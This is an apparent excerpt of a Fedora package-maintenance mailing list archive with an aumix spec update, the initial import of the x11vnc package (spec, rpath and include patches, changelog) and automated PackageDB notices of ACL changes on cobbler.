+++ aumix.spec	20 Oct 2009 14:43:07 -0000	1.10
@@ -1,6 +1,6 @@
 Name: aumix
 Version: 2.8
-Release: 18%{?dist}
+Release: 21%{?dist}
 Summary: Audio mixer based on ncurses
 License: GPLv2+
 Group: Applications/Multimedia
@@ -12,6 +12,7 @@ Patch2:  aumix-fix-cursor-color-on-exit.
 Patch3:  aumix-fix-crackrock.patch
 Patch4:  aumix-2.8-bug-115869.patch
 Patch5:  curses-cleanup.patch
+Patch6:  aumix-2.8-utf8.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: gettext ncurses-devel
 
@@ -26,6 +27,7 @@ An audio mixer with a compact visual lay
 %patch3 -p1
 %patch4 -p1
 %patch5 -p1
+%patch6 -p1
 
 %build
 %configure
@@ -50,6 +52,15 @@ rm -rf %{buildroot}
 %{_datadir}/aumix
 
 %changelog
+* Wed Oct 14 2009 Gabriel L. Somlo <somlo at cmu.edu> - 2.8-21
+- convert language files and fix ncurses setup for utf-8, (bugzilla # 528279)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8-20
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8-19
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Fri Sep 26 2008 Gabriel L. Somlo <somlo at cmu.edu> 2.8-18
 - re-based patches to eliminate fuzz
 



From hubbitus at fedoraproject.org  Tue Oct 20 14:54:03 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Tue, 20 Oct 2009 14:54:03 +0000 (UTC)
Subject: rpms/x11vnc/F-12 import.log, NONE,
	1.1 x11vnc-0.9.8-XShm-explicit-include.patch, NONE,
	1.1 x11vnc-0.9.8-disableRpath.patch, NONE, 1.1 x11vnc.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091020145403.144F411C0081@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/x11vnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27030/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log x11vnc-0.9.8-XShm-explicit-include.patch 
	x11vnc-0.9.8-disableRpath.patch x11vnc.spec 
Log Message:
Initial import x11vnc into Fedora




--- NEW FILE import.log ---
x11vnc-0_9_8-14_fc11:F-12:x11vnc-0.9.8-14.fc11.src.rpm:1256049164

x11vnc-0.9.8-XShm-explicit-include.patch:
 cleanup.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE x11vnc-0.9.8-XShm-explicit-include.patch ---
--- x11vnc/cleanup.c.orig	2009-06-14 19:29:17.000000000 +0400
+++ x11vnc/cleanup.c	2009-08-07 02:44:14.000000000 +0400
@@ -50,6 +50,7 @@
 #include "screen.h"
 #include "xrecord.h"
 #include "xevents.h"
+#include <X11/extensions/shmproto.h> // For X_ShmAttach in Fedora 12
 
 /*
  * Exiting and error handling routines

x11vnc-0.9.8-disableRpath.patch:
 configure |   33 +++++++++++++--------------------
 1 file changed, 13 insertions(+), 20 deletions(-)

--- NEW FILE x11vnc-0.9.8-disableRpath.patch ---
--- configure.orig	2009-06-19 18:44:21.000000000 +0400
+++ configure	2009-07-29 16:01:13.000000000 +0400
@@ -4183,7 +4183,7 @@
     "SunOS 5"*)
       echo "$as_me:$LINENO: checking whether -R must be followed by a space" >&5
 echo $ECHO_N "checking whether -R must be followed by a space... $ECHO_C" >&6
-      ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
+      ac_xsave_LIBS=$LIBS; LIBS="$LIBS"
       cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
@@ -4233,9 +4233,9 @@
       if test $ac_R_nospace = yes; then
 	echo "$as_me:$LINENO: result: no" >&5
 echo "${ECHO_T}no" >&6
-	X_LIBS="$X_LIBS -R$x_libraries"
+	X_LIBS="$X_LIBS"
       else
-	LIBS="$ac_xsave_LIBS -R $x_libraries"
+	LIBS="$ac_xsave_LIBS"
 	cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
@@ -4285,7 +4285,7 @@
 	if test $ac_R_space = yes; then
 	  echo "$as_me:$LINENO: result: yes" >&5
 echo "${ECHO_T}yes" >&6
-	  X_LIBS="$X_LIBS -R $x_libraries"
+	  X_LIBS="$X_LIBS"
 	else
 	  echo "$as_me:$LINENO: result: neither works" >&5
 echo "${ECHO_T}neither works" >&6
@@ -6705,7 +6705,7 @@
 		if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
 			# need /usr/sfw/lib in RPATH for Solaris 10 and later
 			case `(uname -sr) 2>/dev/null` in
-			"SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
+			"SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS" ;;
 			esac
 		fi
 		if test ! -z "$HAVE_LIBXRANDR"; then
@@ -7026,9 +7026,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_ssl/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	echo "$as_me:$LINENO: checking for RAND_file_name in -lcrypto" >&5
@@ -7910,13 +7910,6 @@
 	fi
 	if test "x$with_system_libvncserver" != "xyes"; then
 		rflag=""
-		if test "x$ld_minus_R" = "xno"; then
-			:
-		elif test "x$GCC" = "xyes"; then
-			rflag="-Xlinker -R$with_system_libvncserver/lib"
-		else
-			rflag="-R$with_system_libvncserver/lib"
-		fi
 		cmd="$with_system_libvncserver/bin/libvncserver-config"
 		if $cmd --version 1>/dev/null 2>&1; then
 			cvers=`$cmd --version 2>/dev/null`
@@ -7958,9 +7951,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			rflag=" -Xlinker -R$rprefix/lib "
+			rflag=" -Xlinker "
 		else
-			rflag=" -R$rprefix/lib "
+			rflag=" "
 		fi
 		cvers=`libvncserver-config --version 2>/dev/null`
 		cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
@@ -8039,9 +8032,9 @@
 			:
 		elif test "x$GCC" = "xyes"; then
 			# this is not complete... in general a rat's nest.
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_jpeg/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	if test "${ac_cv_header_jpeglib_h+set}" = set; then
@@ -8320,9 +8313,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_zlib/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	if test "${ac_cv_header_zlib_h+set}" = set; then


--- NEW FILE x11vnc.spec ---
Summary:		VNC server for the current X11 session
Summary(ru):	VNC-?????? ??? ??????? ?????? X11
Name:		x11vnc
Version:		0.9.8
Release:		14%{?dist}
License:		GPLv2
Group:		User Interface/X
URL:			http://www.karlrunge.com/x11vnc/
Source0:		http://downloads.sourceforge.net/libvncserver/%{name}-%{version}.tar.gz

BuildRequires:	libjpeg-devel, zlib-devel, openssl-devel
BuildRequires:	xorg-x11-proto-devel, libXext-devel, libXtst-devel
BuildRequires:	libXfixes-devel, libvncserver-devel

BuildRequires:	java-1.6.0-openjdk-devel

# In Fedora 12 /usr/include/X11/extensions/XInput.h in libXi-devel but in
# previous versions in xorg-x11-proto-devel /usr/include/X11/extensions/shmproto.h
# placed in libXext-devel in F12 and in xorg-x11-proto-devel early.
%if 0%{?fedora} > 11
BuildRequires:	libXi-devel libXext-devel
%else
BuildRequires:	xorg-x11-proto-devel
%endif
Requires:		Xvfb

# Fedora don't want hardcoded rpaths.
Patch1:		x11vnc-0.9.8-disableRpath.patch
# According to new paths add new include to build. I think it is Fedora-related.
Patch2:		x11vnc-0.9.8-XShm-explicit-include.patch

# Package intended to EL-5 too, so we still need define BuildRoot
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description
What WinVNC is to Windows x11vnc is to X Window System, i.e. a server
which serves the current X Window System desktop via RFB (VNC)
protocol to the user.

Based on the ideas of x0rfbserver and on LibVNCServer it has evolved into a
versatile and productive while still easy to use program.

%description -l ru
??? ??????? VNC-??????? ??? Windows - VNC-??????, ??????? ???????????-
?? ?????? ? ??????? X-?????? ???????????? ?? ????????? (VNC).
????? ???????, ?? ?????? ?????? ????????? ? ?????? ????????, ???? ????
?????? ???? ?????????? ???????? ????????. ????? ????, ?????? ? ?????-
????????? ????? ????? ???? ???????????? (GDM, KDM, XDM etc)

?????????? ?? ???? x0rfbserver ? LibVNCServer x11vnc ???????????????
? ?????? ? ???????????????? ??????????, ???????, ??????, ????????
?????? ? ?????????????.

%package		javaviewers
Version:		%{version}
Summary:		VNC clients (browser java applets)
Summary(ru):	VNC-??????? ? ???? java-??????? ??? ?????????
Requires:		%{name} = %{version}-%{release}
License:		GPLv2+
Group:		User Interface/X
BuildArch:	noarch
BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils


%description	javaviewers
The package contains the corresponding java clients for %{name}. They
can be used with any java-enabled browser and provide an easy access to
the server without the need to install software on the client machine.

%description -l ru	javaviewers
Java-??????? ??? ????????????? ????????? ? %{name} ????? ?? ????????
??? ????????????? ??????? ????? ?? ?? ?? ???? ????.

?????? ?? ???? ???????? ? ????? ??????????? ?????????, ??? ????
????????? Java

%prep
%setup -q
%patch1 -p0 -b .rpath

%if 0%{?fedora} > 11
%patch2 -p0 -b .XShm
%endif

# fix source perms for the -debuginfo package rpmlint warnings
find -name "*.c" -o -name "*.h" -exec %{__chmod} 0644 {} \;

for file in README AUTHORS; do
	# ISO-8859-1 is my assumption.
	iconv -f ISO-8859-1 -t UTF-8 "$file" > "$file.new"
	touch --reference "$file" "$file.new"
	%{__mv} "$file.new" "$file"
done

# Delete prebuilt binaries
find -name '*.jar' -exec rm {} \;

%build
%configure --with-system-libvncserver --without-tightvnc-filetransfer

# First rebuild jars, what have been removed in %%prep.
pushd classes/ssl/src
%{__make} %{?_smp_mflags}
	# Alternative to patch Makefiles.
	for jarfile in *.jar; do
	%{__ln_s} src/$jarfile ../;
	%{__ln_s} ssl/src/$jarfile ../../;
	done
popd

%{__make} %{?_smp_mflags}

%install
%{__rm} -rf %{buildroot}
%{__make} install DESTDIR="%{buildroot}"

# And Java viewers
pushd classes/ssl
%{__make} install DESTDIR="%{buildroot}"
popd

# Rename README file to avoid name bump
%{__mv} classes/ssl/src/tight/README classes/ssl/src/tight/README.tight
%{__mv} classes/ssl/src/ultra/README classes/ssl/src/ultra/README.ultra

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING NEWS README TODO
%{_mandir}/man1/x11vnc.1*
%{_bindir}/x11vnc
%{_datadir}/applications/x11vnc.desktop

%files javaviewers
%defattr(-,root,root,-)
%doc classes/ssl/README classes/ssl/src/tight/README.tight classes/ssl/src/ultra/README.ultra
%{_datadir}/%{name}
%exclude %{_datadir}/%{name}/classes/ssl/README

%changelog
* Tue Oct 6 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-14
- Make -javaviewers subpackage noarch.

* Sun Oct 4 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-13
- Small fis requires release.
- Rename README file to avoid name bump

* Fri Sep 25 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-12
- Own %%{_datadir}/%%{name} instead of %%{_datadir}/%%{name}/classes
- Add Requires: %%{name} = %%{version}-%%{release} in subpackage.
- Change summary and description for javaviewers subpackage.
- Remove %%doc marker from man-page.
- %%defattr(-,root,root,0755) -> %%defattr(-,root,root,-)
- Add classes/ssl/src/tight/README classes/ssl/src/ultra/README files into
	javaviewers subpackage %%doc (thank you Orcan Ogetbil)
- ln -s replaced by %%{__ln_s}
- Set License: GPLv2+ for javaviewers subpackage (Thanks Spot)

* Mon Aug 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-11
- Remove all prebuilt *.jar-files in %%prep section and try build it from source.
- Add BR java-1.6.0-openjdk-devel
- Introduce new subpackage x11vnc-javaviewers.
- Add separate build java-viewers.
- Add Russian localized versions of Summary and descrioptions.

* Wed Aug 26 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-10
- Fix some spelling, change some cosmetic things.
- Delete Patch0 and hacks to link with system lzo package - it is not needed
	anymore as we link it with systel libvncserver instead.
- Delete BR lzo-devel
- Remiove empty directory %%{_datadir}/%%{name}/

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-9
- Add Requires: Xvfb

* Fri Aug 7 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-8
- Link to shared lzo instead of minilzo for all (not only EL-5).
- Add BuildRequires: /usr/include/X11/extensions/XShm.h
- Patch2: x11vnc-0.9.8-XShm-explicit-include.patch
- Step to conditional BR for Fedora 12, add
	Patch2: x11vnc-0.9.8-XShm-explicit-include.patch to build on it.

* Tue Aug 4 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-7
- Change license to GPLv2 without plus according to x11vnc.c
	source (thanks to Christian Krause).
- For consistency macros usage replace "ln -s" by %%{__ln_s},
	mv by %%{__mv} and similar (chmod, sed).
- Change find call to avoid using xargs in chmod sources command.

* Wed Jul 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-6
- Build with openssl unconditionally.
- Add Patch1: x11vnc-0.9.8-disableRpath.patch
- fix source perms for the -debuginfo package rpmlint warnings

* Tue Jul 21 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-5
- Try use lzo instead of minilzo in EL-5 (minilzo is not bundled in it).
- Try use system libvncserver library (--with-system-libvncserver
	configure option) instead of bundled one.
- System libvncserver built without tightvnc-filetransfer support.
	Now disable it there (--without-filetransfer)
	And according to it change License to only GPLv2+
	./configure --help misleading, using --without-tightvnc-filetransfer

* Tue Jul 21 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-4
- All changes inspired by started Fedora Review (thank you to Christian Krause).
- README and AUTHORS files converted into UTF-8.
- Explicit mention previous author in changelog and delet old entries of it.
- Source renamed to Source0.
- Source0 URL changed to long (correct) variant:
	http://downloads.sourceforge.net/libvncserver/%%{name}-%%{version}.tar.gz
	was http://dl.sf.net/libvncserver/x11vnc-%%{version}.tar.gz
- Add BR: /usr/include/X11/extensions/XInput.h; In F12 it is located in
	libXi-devel but in previous versions in xorg-x11-proto-devel
	so, to do not make conditional requires, require explicit file.
- Remove prebuild binaries clients.
- Remove Requires: minilzo it will be automatically propogated.
- Add BR: libvncserver-devel

* Fri Jul 10 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-3
- Add BR openssl-devel to provide SSL capability (thanks Manuel Wolfshant).
- Requires: minilzo, BR lzo-devel and Patch0: 
	11vnc-0.9.8-use-system-minilzo.patch to use system version of library.
- Add "and GPLv2" to License. See comment above why.
- Add BuildRequires: libXfixes-devel

* Fri Jul 10 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-2
- Import http://packages.sw.be/x11vnc/x11vnc-0.9.7-1.rf.src.rpm to maintain it in fedora:
	Packager: Dag Wieers <dag at wieers.com>
	Vendor: Dag Apt Repository, http://dag.wieers.com/apt/
- Step to version 0.9.8
- Reformat spec with tabs.
- Comment out (leave for history) Packager and Vendor tags
- Remove defines of several macros like dtag, conditional _without_modxorg
- Remove all stuff around conditional build _without_modxorg
- Add -%%(%%{__id_u} -n) part into buildroot.
- Make setup quiet.
- Remove "rf" Release suffix and replace it by %%{?dist}
- License from GPL changed to GPLv2+


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/x11vnc/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:53:55 -0000	1.1
+++ .cvsignore	20 Oct 2009 14:54:02 -0000	1.2
@@ -0,0 +1 @@
+x11vnc-0.9.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/x11vnc/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:53:55 -0000	1.1
+++ sources	20 Oct 2009 14:54:02 -0000	1.2
@@ -0,0 +1 @@
+13e41380fe9ba2581db180061d1cbd22  x11vnc-0.9.8.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:49 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145449.7772210F850@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora EPEL 4) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:50 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145450.C690F10F880@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora EPEL 4) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:50 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145450.DA63410F894@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora EPEL 4) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:52 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145452.5773310F8AC@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora EPEL 4) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:52 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145453.3F05110F80D@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora EPEL 4) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:54 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145454.528F810F8B1@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora EPEL 4) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:57 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145457.0F2E610F880@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora EPEL 5) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:58 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145458.69EA310F8BA@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora EPEL 5) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:58 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145458.F087610F8BE@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora EPEL 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:54:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:54:59 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145500.1C2B710F8BF@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora EPEL 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:01 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145501.297E010F895@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora EPEL 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:02 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145502.9042D10F8C4@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora EPEL 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:05 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145505.22BDC10F8C5@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 7) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:05 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145505.AB0F210F8CA@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 7) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:07 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145507.D952510F8D2@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 7) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:08 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145508.BEB9210F8D0@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora 7) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:09 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145509.DCA3110F8D3@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora 7) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:10 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145510.ECF0710F8D7@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 7) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:13 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145513.5F28A10F8B6@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 5) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:14 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145514.6232310F8DA@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:14 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145514.F2CF010F8DF@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 5) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:19 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145519.776AF10F8B9@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:19 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145519.7A66B10F8BD@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:20 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145520.ABACF10F88F@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:22 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145523.06CC910F8E1@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 6) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:22 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145523.1741410F8EB@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 6) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:23 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145523.6194810F8E7@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 6) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:24 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145524.8DCE110F8EC@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 6) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:25 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145525.913DE10F8F0@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora 6) to Approved for jeckersb

To make changes to this package see:
